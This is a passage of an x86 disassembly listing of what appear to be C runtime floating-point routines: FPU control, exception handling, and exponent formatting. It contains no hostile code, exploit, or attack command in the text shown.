mov eax, [esi] mov ecx, 300h and eax, ecx jz short loc_41C1E0 cmp eax, 200h jz short loc_41C1D3 cmp eax, ecx jnz short loc_41C1ED mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFE3h jmp short loc_41C1ED ; --------------------------------------------------------------------------- loc_41C1D3: ; CODE XREF: sub_41C040+185j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFE7h or ecx, 4 jmp short loc_41C1EB ; --------------------------------------------------------------------------- loc_41C1E0: ; CODE XREF: sub_41C040+17Ej mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFEBh or ecx, 8 loc_41C1EB: ; CODE XREF: sub_41C040+19Ej mov [eax], ecx loc_41C1ED: ; CODE XREF: sub_41C040+189j ; sub_41C040+191j mov eax, [ebp+arg_0] mov ecx, [ebp+arg_C] and ecx, 0FFFh mov edx, [eax] shl ecx, 5 and edx, 0FFFE001Fh or ecx, edx mov [eax], ecx mov eax, [ebp+arg_0] or [eax+20h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+20h] and ecx, 0FFFFFFE3h or ecx, edi mov [eax+20h], ecx mov eax, [ebp+arg_10] fld qword ptr [eax] mov eax, [ebp+arg_0] fstp qword ptr [eax+10h] mov eax, [ebp+arg_0] or [eax+50h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+50h] and ecx, 0FFFFFFE3h or ecx, edi mov edi, [ebp+arg_14] mov [eax+50h], ecx mov eax, [ebp+arg_0] fld qword ptr [edi] fstp qword ptr [eax+40h] call sub_41C76E lea eax, [ebp+arg_0] push eax push ebx push 0 push [ebp+arg_8] nop call near ptr 2840000h mov eax, [ebp+arg_0] test byte ptr [eax+8], 10h jz short loc_41C267 and dword ptr [esi], 0FFFFFFFEh loc_41C267: ; CODE XREF: sub_41C040+222j test byte ptr [eax+8], 8 jz short loc_41C270 and dword ptr [esi], 0FFFFFFFBh loc_41C270: ; CODE XREF: sub_41C040+22Bj test byte ptr [eax+8], 4 jz short loc_41C279 and dword ptr [esi], 0FFFFFFF7h loc_41C279: ; CODE XREF: sub_41C040+234j test byte ptr [eax+8], 2 jz short loc_41C282 and dword ptr [esi], 0FFFFFFEFh loc_41C282: ; CODE XREF: sub_41C040+23Dj test [eax+8], bl jz short loc_41C28A and dword ptr [esi], 0FFFFFFDFh loc_41C28A: ; CODE XREF: sub_41C040+245j mov ecx, [eax] mov edx, 0FFFFF3FFh and ecx, 3 sub ecx, 0 jz short loc_41C2BE dec ecx jz short loc_41C2B2 dec ecx jz short loc_41C2A8 dec ecx jnz short loc_41C2C0 or byte ptr [esi+1], 0Ch jmp short loc_41C2C0 ; --------------------------------------------------------------------------- loc_41C2A8: ; CODE XREF: sub_41C040+25Dj mov ecx, [esi] and ch, 0FBh or ch, 8 jmp short loc_41C2BA ; --------------------------------------------------------------------------- loc_41C2B2: ; CODE XREF: sub_41C040+25Aj mov ecx, [esi] and ch, 0F7h or ch, 4 loc_41C2BA: ; CODE XREF: sub_41C040+270j mov [esi], ecx jmp short loc_41C2C0 ; --------------------------------------------------------------------------- loc_41C2BE: ; CODE XREF: sub_41C040+257j and [esi], edx loc_41C2C0: ; CODE XREF: sub_41C040+260j ; sub_41C040+266j ... mov ecx, [eax] shr ecx, 2 and ecx, 7 sub ecx, 0 jz short loc_41C2E0 dec ecx jz short loc_41C2D7 dec ecx jnz short loc_41C2E9 and [esi], edx jmp short loc_41C2E9 ; --------------------------------------------------------------------------- loc_41C2D7: ; CODE XREF: sub_41C040+28Ej mov ecx, [esi] and ecx, edx or ch, 2 jmp short loc_41C2E7 ; --------------------------------------------------------------------------- loc_41C2E0: ; CODE XREF: sub_41C040+28Bj mov ecx, [esi] and ecx, edx or ch, 3 loc_41C2E7: ; CODE XREF: sub_41C040+29Ej mov [esi], ecx loc_41C2E9: ; CODE XREF: sub_41C040+291j ; sub_41C040+295j fld qword ptr [eax+40h] fstp qword ptr [edi] pop edi pop esi pop ebx pop ebp retn sub_41C040 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C2F3 proc near ; CODE XREF: sub_41BFA8+10p var_24 = qword ptr -24h var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] push ebx push edi mov edi, eax and edi, 1Fh push 1 test al, 8 pop ebx jz short loc_41C31E test byte ptr [ebp+arg_8], bl jz short loc_41C31E push ebx call sub_41C7A0 pop ecx and edi, 0FFFFFFF7h jmp loc_41C4E8 ; --------------------------------------------------------------------------- loc_41C31E: ; CODE XREF: sub_41C2F3+15j ; sub_41C2F3+1Aj test al, 4 jz short loc_41C338 test byte ptr [ebp+arg_8], 4 jz short loc_41C338 push 4 call sub_41C7A0 pop ecx and edi, 0FFFFFFFBh jmp loc_41C4E8 ; --------------------------------------------------------------------------- loc_41C338: ; CODE XREF: sub_41C2F3+2Dj ; sub_41C2F3+33j test al, bl jz loc_41C412 test byte ptr [ebp+arg_8], 8 jz loc_41C412 push 8 call sub_41C7A0 pop ecx mov eax, 0C00h mov ecx, [ebp+arg_8] and ecx, eax jz loc_41C3EA cmp ecx, 400h jz short loc_41C3C2 cmp ecx, 800h jz short loc_41C39A cmp ecx, eax jnz loc_41C40A mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_424818 fld dbl_43B8D0 fnstsw ax sahf ja short loc_41C392 fchs loc_41C392: ; CODE XREF: sub_41C2F3+9Bj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_41C408 ; --------------------------------------------------------------------------- loc_41C39A: ; CODE XREF: sub_41C2F3+7Dj mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_424818 fnstsw ax sahf jbe short loc_41C3B2 fld dbl_43B8C0 jmp short loc_41C3BA ; --------------------------------------------------------------------------- loc_41C3B2: ; CODE XREF: sub_41C2F3+B5j fld dbl_43B8D0 fchs loc_41C3BA: ; CODE XREF: sub_41C2F3+BDj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_41C408 ; --------------------------------------------------------------------------- loc_41C3C2: ; CODE XREF: sub_41C2F3+75j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_424818 fnstsw ax sahf jbe short loc_41C3DA fld dbl_43B8D0 jmp short loc_41C3E2 ; --------------------------------------------------------------------------- loc_41C3DA: ; CODE XREF: sub_41C2F3+DDj fld dbl_43B8C0 fchs loc_41C3E2: ; CODE XREF: sub_41C2F3+E5j fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_41C408 ; --------------------------------------------------------------------------- loc_41C3EA: ; CODE XREF: sub_41C2F3+69j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_424818 fld dbl_43B8C0 fnstsw ax sahf ja short loc_41C402 fchs loc_41C402: ; CODE XREF: sub_41C2F3+10Bj fstp [ebp+var_C] fld [ebp+var_C] loc_41C408: ; CODE XREF: sub_41C2F3+A5j ; sub_41C2F3+CDj ... fstp qword ptr [ecx] loc_41C40A: ; CODE XREF: sub_41C2F3+81j and edi, 0FFFFFFFEh jmp loc_41C4E8 ; --------------------------------------------------------------------------- loc_41C412: ; CODE XREF: sub_41C2F3+47j ; sub_41C2F3+51j test al, 2 jz loc_41C4E8 test byte ptr [ebp+arg_8], 10h jz loc_41C4E8 push esi xor esi, esi test al, 10h jz short loc_41C42D mov esi, ebx loc_41C42D: ; CODE XREF: sub_41C2F3+136j mov eax, [ebp+arg_4] fld qword ptr [eax] fstp [ebp+var_C] fld [ebp+var_C] fcomp dbl_424818 fnstsw ax sahf jz loc_41C4D6 fld [ebp+var_C] lea eax, [ebp+var_4] push eax ; int push ecx push ecx ; double fstp [esp+24h+var_24] call sub_41C69F mov eax, [ebp+var_4] add esp, 0Ch fstp [ebp+var_C] lea ecx, [eax-600h] cmp ecx, 0FFFFFBCEh jge short loc_41C478 fldz mov esi, ebx fstp [ebp+var_C] jmp short loc_41C4CC ; --------------------------------------------------------------------------- loc_41C478: ; CODE XREF: sub_41C2F3+17Aj fld [ebp+var_C] fcomp dbl_424818 fnstsw ax sahf jnb short loc_41C48A mov edx, ebx jmp short loc_41C48C ; --------------------------------------------------------------------------- loc_41C48A: ; CODE XREF: sub_41C2F3+191j xor edx, edx loc_41C48C: ; CODE XREF: sub_41C2F3+195j mov al, byte ptr [ebp+var_C+6] and eax, 0Fh or al, 10h mov word ptr [ebp+var_C+6], ax mov eax, 0FFFFFC03h cmp ecx, eax jge short loc_41C4C0 sub eax, ecx loc_41C4A3: ; CODE XREF: sub_41C2F3+1CBj test byte ptr [ebp+var_C], bl jz short loc_41C4AE test esi, esi jnz short loc_41C4AE mov esi, ebx loc_41C4AE: ; CODE XREF: sub_41C2F3+1B3j ; sub_41C2F3+1B7j shr dword ptr [ebp+var_C], 1 test byte ptr [ebp+var_C+4], bl jz short loc_41C4BA or byte ptr [ebp+var_C+3], 80h loc_41C4BA: ; CODE XREF: sub_41C2F3+1C1j shr dword ptr [ebp+var_C+4], 1 dec eax jnz short loc_41C4A3 loc_41C4C0: ; CODE XREF: sub_41C2F3+1ACj test edx, edx jz short loc_41C4CC fld [ebp+var_C] fchs fstp [ebp+var_C] loc_41C4CC: ; CODE XREF: sub_41C2F3+183j ; sub_41C2F3+1CFj fld [ebp+var_C] mov eax, [ebp+arg_4] fstp qword ptr [eax] jmp short loc_41C4D8 ; --------------------------------------------------------------------------- loc_41C4D6: ; CODE XREF: sub_41C2F3+14Ej mov esi, ebx loc_41C4D8: ; CODE XREF: sub_41C2F3+1E1j test esi, esi pop esi jz short loc_41C4E5 push 10h call sub_41C7A0 pop ecx loc_41C4E5: ; CODE XREF: sub_41C2F3+1E8j and edi, 0FFFFFFFDh loc_41C4E8: ; CODE XREF: sub_41C2F3+26j ; sub_41C2F3+40j ... test byte ptr [ebp+arg_0], 10h jz short loc_41C4FF test byte ptr [ebp+arg_8], 20h jz short loc_41C4FF push 20h call sub_41C7A0 pop ecx and edi, 0FFFFFFEFh loc_41C4FF: ; CODE XREF: sub_41C2F3+1F9j ; sub_41C2F3+1FFj xor eax, eax test edi, edi pop edi pop ebx setz al leave retn sub_41C2F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41C50A(int,int,int,int,int,int,double,int) sub_41C50A proc near ; CODE XREF: sub_41BF55+2Bp ; sub_41BFA8+72p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = qword ptr 20h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 20h push [ebp+arg_4] call sub_41C5B8 test eax, eax pop ecx mov [ebp+var_1C], eax jz short loc_41C575 mov eax, [ebp+arg_8] push esi mov [ebp+var_18], eax mov eax, [ebp+arg_C] mov [ebp+var_14], eax mov eax, [ebp+arg_10] mov esi, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_14] push 0FFFFh push [ebp+arg_20] mov [ebp+var_C], eax mov eax, dword ptr [ebp+arg_18] mov [ebp+var_20], esi mov dword ptr [ebp+var_8], eax mov eax, dword ptr [ebp+arg_18+4] mov dword ptr [ebp+var_8+4], eax call sub_41C77D lea eax, [ebp+var_20] push eax call sub_42017F add esp, 0Ch test eax, eax jnz short loc_41C56F push esi call sub_41C592 pop ecx loc_41C56F: ; CODE XREF: sub_41C50A+5Cj fld [ebp+var_8] pop esi leave retn ; --------------------------------------------------------------------------- loc_41C575: ; CODE XREF: sub_41C50A+14j push 0FFFFh push [ebp+arg_20] call sub_41C77D push [ebp+arg_0] call sub_41C592 fld [ebp+arg_18] add esp, 0Ch leave retn sub_41C50A endp ; =============== S U B R O U T I N E ======================================= sub_41C592 proc near ; CODE XREF: sub_41BFA8+7Dp ; sub_41C50A+5Fp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, 1 jz short loc_41C5AD jle short locret_41C5B7 cmp eax, 3 jg short locret_41C5B7 mov dword_48A014, 22h retn ; --------------------------------------------------------------------------- loc_41C5AD: ; CODE XREF: sub_41C592+7j mov dword_48A014, 21h locret_41C5B7: ; CODE XREF: sub_41C592+9j ; sub_41C592+Ej retn sub_41C592 endp ; =============== S U B R O U T I N E ======================================= sub_41C5B8 proc near ; CODE XREF: sub_41C50A+9p arg_0 = dword ptr 4 xor ecx, ecx mov eax, offset dword_43B7E8 loc_41C5BF: ; CODE XREF: sub_41C5B8+18j mov edx, [eax] cmp edx, [esp+arg_0] jz short loc_41C5D5 add eax, 8 inc ecx cmp eax, offset dbl_43B8C0 jl short loc_41C5BF xor eax, eax retn ; --------------------------------------------------------------------------- loc_41C5D5: ; CODE XREF: sub_41C5B8+Dj mov eax, off_43B7EC[ecx*8] retn sub_41C5B8 endp ; =============== S U B R O U T I N E ======================================= sub_41C5DD proc near ; CODE XREF: sub_41BFA8+41p arg_0 = byte ptr 4 mov al, [esp+arg_0] test al, 20h jz short loc_41C5E9 push 5 jmp short loc_41C5FF ; --------------------------------------------------------------------------- loc_41C5E9: ; CODE XREF: sub_41C5DD+6j test al, 8 jz short loc_41C5F1 push 1 jmp short loc_41C5FF ; --------------------------------------------------------------------------- loc_41C5F1: ; CODE XREF: sub_41C5DD+Ej test al, 4 jz short loc_41C5F9 push 2 jmp short loc_41C5FF ; --------------------------------------------------------------------------- loc_41C5F9: ; CODE XREF: sub_41C5DD+16j test al, 1 jz short loc_41C601 push 3 loc_41C5FF: ; CODE XREF: sub_41C5DD+Aj ; sub_41C5DD+12j ... pop eax retn ; --------------------------------------------------------------------------- loc_41C601: ; CODE XREF: sub_41C5DD+1Ej movzx eax, al and eax, 2 shl eax, 1 retn sub_41C5DD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41C60A(double) sub_41C60A proc near ; CODE XREF: sub_417CA4:loc_417D2Ap ; sub_417DEB:loc_417E71p var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] frndint fstp [ebp+var_8] fld [ebp+var_8] leave retn sub_41C60A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41C61C(double,int) sub_41C61C proc near ; CODE XREF: sub_41C69F+82p ; sub_41C69F+98p var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_8] mov ecx, [ebp+0Eh] fld [ebp+arg_0] add eax, 3FEh and cx, 800Fh fstp [ebp+var_8] shl eax, 4 or eax, ecx mov word ptr [ebp+var_8+6], ax fld [ebp+var_8] leave retn sub_41C61C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C645 proc near ; CODE XREF: sub_417CA4+31p ; sub_417DEB+31p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp xor edx, edx cmp [ebp+arg_4], 7FF00000h jnz short loc_41C65C cmp [ebp+arg_0], edx jnz short loc_41C66E push 1 jmp short loc_41C698 ; --------------------------------------------------------------------------- loc_41C65C: ; CODE XREF: sub_41C645+Cj cmp [ebp+arg_4], 0FFF00000h jnz short loc_41C66E cmp [ebp+arg_0], edx jnz short loc_41C66E push 2 jmp short loc_41C698 ; --------------------------------------------------------------------------- loc_41C66E: ; CODE XREF: sub_41C645+11j ; sub_41C645+1Ej ... mov ecx, [ebp+arg_4+2] mov eax, 7FF8h and ecx, eax cmp cx, ax jnz short loc_41C681 push 3 jmp short loc_41C698 ; --------------------------------------------------------------------------- loc_41C681: ; CODE XREF: sub_41C645+36j cmp cx, 7FF0h jnz short loc_41C69B test [ebp+arg_4], 7FFFFh jnz short loc_41C696 cmp [ebp+arg_0], edx jz short loc_41C69B loc_41C696: ; CODE XREF: sub_41C645+4Aj push 4 loc_41C698: ; CODE XREF: sub_41C645+15j ; sub_41C645+27j ... pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_41C69B: ; CODE XREF: sub_41C645+41j ; sub_41C645+4Fj xor eax, eax pop ebp retn sub_41C645 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41C69F(double,int) sub_41C69F proc near ; CODE XREF: sub_41C2F3+160p var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] fcomp dbl_424818 push esi fnstsw ax sahf jnz short loc_41C6BF fldz xor esi, esi fstp [ebp+var_8] jmp loc_41C755 ; --------------------------------------------------------------------------- loc_41C6BF: ; CODE XREF: sub_41C69F+12j xor ecx, ecx test word ptr [ebp+arg_0+6], 7FF0h jnz short loc_41C72E test dword ptr [ebp+arg_0+4], 0FFFFFh jnz short loc_41C6D7 cmp dword ptr [ebp+arg_0], ecx jz short loc_41C72E loc_41C6D7: ; CODE XREF: sub_41C69F+31j fld [ebp+arg_0] fcomp dbl_424818 mov esi, 0FFFFFC03h fnstsw ax sahf jnb short loc_41C6EF push 1 pop eax jmp short loc_41C6F1 ; --------------------------------------------------------------------------- loc_41C6EF: ; CODE XREF: sub_41C69F+49j xor eax, eax loc_41C6F1: ; CODE XREF: sub_41C69F+4Ej ; sub_41C69F+69j test byte ptr [ebp+arg_0+6], 10h jnz short loc_41C70A shl dword ptr [ebp+arg_0+4], 1 test byte ptr [ebp+arg_0+3], 80h jz short loc_41C704 or dword ptr [ebp+arg_0+4], 1 loc_41C704: ; CODE XREF: sub_41C69F+5Fj shl dword ptr [ebp+arg_0], 1 dec esi jmp short loc_41C6F1 ; --------------------------------------------------------------------------- loc_41C70A: ; CODE XREF: sub_41C69F+56j and word ptr [ebp+arg_0+6], 0FFEFh cmp eax, ecx jz short loc_41C718 or byte ptr [ebp+arg_0+7], 80h loc_41C718: ; CODE XREF: sub_41C69F+73j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_41C61C fstp [ebp+var_8] add esp, 0Ch jmp short loc_41C755 ; --------------------------------------------------------------------------- loc_41C72E: ; CODE XREF: sub_41C69F+28j ; sub_41C69F+36j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_41C61C mov eax, dword ptr [ebp+arg_0+6] add esp, 0Ch fstp [ebp+var_8] shr eax, 4 and ax, 7FFh movsx esi, ax sub esi, 3FEh loc_41C755: ; CODE XREF: sub_41C69F+1Bj ; sub_41C69F+8Dj mov eax, [ebp+arg_8] fld [ebp+var_8] mov [eax], esi pop esi leave retn sub_41C69F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C760 proc near ; CODE XREF: sub_41C040+F6p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fstsw [ebp+var_2] movsx eax, [ebp+var_2] leave retn sub_41C760 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C76E proc near ; CODE XREF: sub_41C040+206p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fnstsw [ebp+var_2] fnclex movsx eax, [ebp+var_2] leave retn sub_41C76E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C77D proc near ; CODE XREF: sub_417CA4+13p ; sub_417CA4+5Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx fstcw word ptr [ebp+var_4] mov eax, [ebp+arg_4] mov ecx, eax and eax, [ebp+arg_0] not ecx and ecx, [ebp+var_4] or ecx, eax mov [ebp+arg_4], ecx fldcw word ptr [ebp+arg_4] movsx eax, word ptr [ebp+var_4] leave retn sub_41C77D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C7A0 proc near ; CODE XREF: sub_41C2F3+1Dp ; sub_41C2F3+37p ... var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov cl, byte ptr [ebp+arg_0] test cl, 1 jz short loc_41C7B7 fld tbyte_43B8E8 fistp [ebp+arg_0] wait loc_41C7B7: ; CODE XREF: sub_41C7A0+Bj test cl, 8 jz short loc_41C7CC fstsw ax fld tbyte_43B8E8 fstp [ebp+var_8] wait fstsw ax loc_41C7CC: ; CODE XREF: sub_41C7A0+1Aj test cl, 10h jz short loc_41C7DB fld tbyte_43B8F4 fstp [ebp+var_8] wait loc_41C7DB: ; CODE XREF: sub_41C7A0+2Fj test cl, 4 jz short loc_41C7E9 fldz fld1 fdivrp st(1), st fstp st wait loc_41C7E9: ; CODE XREF: sub_41C7A0+3Ej test cl, 20h jz short locret_41C7F4 fldpi fstp [ebp+var_8] wait locret_41C7F4: ; CODE XREF: sub_41C7A0+4Cj leave retn sub_41C7A0 endp ; =============== S U B R O U T I N E ======================================= sub_41C7F6 proc near ; CODE XREF: sub_417D73+Fp push 30000h push 10000h call sub_4201B7 pop ecx pop ecx retn sub_41C7F6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C808 proc near ; CODE XREF: sub_41C846:loc_41C86Aj var_18 = qword ptr -18h var_10 = qword ptr -10h var_8 = qword ptr -8 push ebp mov ebp, esp sub esp, 18h fld dbl_424828 fstp [ebp+var_8] fld dbl_424820 fstp [ebp+var_10] fld [ebp+var_10] fdiv [ebp+var_8] fmul [ebp+var_8] fsubr [ebp+var_10] fstp [ebp+var_18] fld [ebp+var_18] fcomp dbl_4246A8 fnstsw ax sahf jbe short loc_41C842 push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_41C842: ; CODE XREF: sub_41C808+33j xor eax, eax leave retn sub_41C808 endp ; =============== S U B R O U T I N E ======================================= sub_41C846 proc near ; CODE XREF: sub_417D73+5p push offset aKernel32 ; "KERNEL32" nop call near ptr 2710000h test eax, eax jz short loc_41C86A push offset aIsprocessorfea ; "IsProcessorFeaturePresent" push eax call near ptr 26D05DDh nop test eax, eax jz short loc_41C86A push 0 call eax retn ; --------------------------------------------------------------------------- loc_41C86A: ; CODE XREF: sub_41C846+Dj ; sub_41C846+1Dj jmp sub_41C808 sub_41C846 endp ; =============== S U B R O U T I N E ======================================= sub_41C86F proc near ; CODE XREF: sub_419E38+3CBp ; DATA XREF: sub_417D8B+1Eo ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] movsx eax, byte ptr [esi] push eax call sub_419101 cmp eax, 65h pop ecx jz short loc_41C8AF loc_41C883: ; CODE XREF: sub_41C86F+3Ej inc esi cmp dword_4397AC, 1 jle short loc_41C89C movsx eax, byte ptr [esi] push 4 push eax call sub_41A642 pop ecx pop ecx jmp short loc_41C8AB ; --------------------------------------------------------------------------- loc_41C89C: ; CODE XREF: sub_41C86F+1Cj movsx eax, byte ptr [esi] mov ecx, off_4395A0 mov al, [ecx+eax*2] and eax, 4 loc_41C8AB: ; CODE XREF: sub_41C86F+2Bj test eax, eax jnz short loc_41C883 loc_41C8AF: ; CODE XREF: sub_41C86F+12j mov cl, byte_4397B0 mov al, [esi] mov [esi], cl inc esi loc_41C8BA: ; CODE XREF: sub_41C86F+56j mov cl, [esi] mov [esi], al mov al, cl mov cl, [esi] inc esi test cl, cl jnz short loc_41C8BA pop esi retn sub_41C86F endp ; =============== S U B R O U T I N E ======================================= sub_41C8C9 proc near ; CODE XREF: sub_419E38+3E2p ; DATA XREF: sub_417D8B+5o ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dl, byte_4397B0 mov cl, [eax] test cl, cl jz short loc_41C8E5 loc_41C8D9: ; CODE XREF: sub_41C8C9+1Aj cmp cl, dl jz short loc_41C8E5 mov cl, [eax+1] inc eax test cl, cl jnz short loc_41C8D9 loc_41C8E5: ; CODE XREF: sub_41C8C9+Ej ; sub_41C8C9+12j mov cl, [eax] inc eax test cl, cl jz short locret_41C916 loc_41C8EC: ; CODE XREF: sub_41C8C9+34j mov cl, [eax] test cl, cl jz short loc_41C8FF cmp cl, 65h jz short loc_41C8FF cmp cl, 45h jz short loc_41C8FF inc eax jmp short loc_41C8EC ; --------------------------------------------------------------------------- loc_41C8FF: ; CODE XREF: sub_41C8C9+27j ; sub_41C8C9+2Cj ... mov ecx, eax loc_41C901: ; CODE XREF: sub_41C8C9+3Cj dec eax cmp byte ptr [eax], 30h jz short loc_41C901 cmp [eax], dl jnz short loc_41C90C dec eax loc_41C90C: ; CODE XREF: sub_41C8C9+40j ; sub_41C8C9+4Bj mov dl, [ecx] inc eax inc ecx test dl, dl mov [eax], dl jnz short loc_41C90C locret_41C916: ; CODE XREF: sub_41C8C9+21j retn sub_41C8C9 endp ; =============== S U B R O U T I N E ======================================= sub_41C917 proc near ; DATA XREF: sub_417D8B+28o ; ___:off_43B910o arg_0 = dword ptr 4 mov eax, [esp+arg_0] fld qword ptr [eax] fcomp dbl_424818 fnstsw ax sahf jb short loc_41C92C push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41C92C: ; CODE XREF: sub_41C917+Fj xor eax, eax retn sub_41C917 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C92F proc near ; CODE XREF: sub_41D797+430p ; DATA XREF: sub_417D8B+14o ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_0], 0 push [ebp+arg_8] jz short loc_41C958 lea eax, [ebp+var_8] push eax call sub_42067A mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+var_8] mov [eax], ecx mov ecx, [ebp+var_4] mov [eax+4], ecx leave retn ; --------------------------------------------------------------------------- loc_41C958: ; CODE XREF: sub_41C92F+Cj lea eax, [ebp+arg_8] push eax call sub_4206A7 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+arg_8] mov [eax], ecx leave retn sub_41C92F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C96D proc near ; CODE XREF: sub_41CBEA+17p ; sub_41CC34+47p var_10 = qword ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp byte_48A084, 0 push ebx push esi jz short loc_41C9A2 mov ebx, [ebp+arg_8] mov eax, dword_48A080 xor ecx, ecx mov esi, eax test ebx, ebx setnle cl push ecx xor ecx, ecx cmp dword ptr [eax], 2Dh setz cl add ecx, [ebp+arg_4] push ecx call sub_41CC85 pop ecx pop ecx jmp short loc_41C9DA ; --------------------------------------------------------------------------- loc_41C9A2: ; CODE XREF: sub_41C96D+Cj mov eax, [ebp+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+10h+var_10] call sub_42074B mov ebx, [ebp+arg_8] mov esi, eax push esi mov edx, [ebp+arg_4] lea eax, [ebx+1] push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al xor ecx, ecx test ebx, ebx setnle cl add edx, eax add ecx, edx push ecx call sub_4206D4 add esp, 14h loc_41C9DA: ; CODE XREF: sub_41C96D+33j cmp dword ptr [esi], 2Dh mov eax, [ebp+arg_4] jnz short loc_41C9E6 mov byte ptr [eax], 2Dh inc eax loc_41C9E6: ; CODE XREF: sub_41C96D+73j test ebx, ebx jle short loc_41C9FE mov cl, [eax+1] push edi lea edi, [eax+1] mov [eax], cl mov cl, byte_4397B0 mov eax, edi pop edi mov [eax], cl loc_41C9FE: ; CODE XREF: sub_41C96D+7Bj xor ecx, ecx push offset aE000 ; "e+000" cmp byte_48A084, cl setz cl add ecx, eax add ecx, ebx push ecx call sub_4179C0 cmp [ebp+arg_C], 0 pop ecx pop ecx mov ecx, eax jz short loc_41CA25 mov byte ptr [ecx], 45h loc_41CA25: ; CODE XREF: sub_41C96D+B3j mov eax, [esi+0Ch] inc ecx cmp byte ptr [eax], 30h jz short loc_41CA6A mov ebx, [esi+4] dec ebx jns short loc_41CA39 neg ebx mov byte ptr [ecx], 2Dh loc_41CA39: ; CODE XREF: sub_41C96D+C5j inc ecx cmp ebx, 64h jl short loc_41CA50 mov eax, ebx push 64h cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_41CA50: ; CODE XREF: sub_41C96D+D0j inc ecx cmp ebx, 0Ah jl short loc_41CA67 mov eax, ebx push 0Ah cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_41CA67: ; CODE XREF: sub_41C96D+E7j add [ecx+1], bl loc_41CA6A: ; CODE XREF: sub_41C96D+BFj mov eax, [ebp+arg_4] pop esi pop ebx pop ebp retn sub_41C96D endp ; =============== S U B R O U T I N E ======================================= sub_41CA71 proc near ; CODE XREF: sub_41CC11+13p ; sub_41CC34+1Ep var_18 = qword ptr -18h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch cmp byte_48A084, 0 push ebx push ebp mov ebp, [esp+8+arg_4] push esi push edi jz short loc_41CAAC mov eax, dword_48A088 mov ebx, [esp+10h+arg_8] mov esi, dword_48A080 cmp eax, ebx jnz short loc_41CADC xor ecx, ecx cmp dword ptr [esi], 2Dh setz cl add ecx, eax add ecx, ebp mov eax, ecx mov byte ptr [eax], 30h and byte ptr [eax+1], 0 jmp short loc_41CADC ; --------------------------------------------------------------------------- loc_41CAAC: ; CODE XREF: sub_41CA71+Fj mov eax, [esp+10h+arg_0] push ecx push ecx fld qword ptr 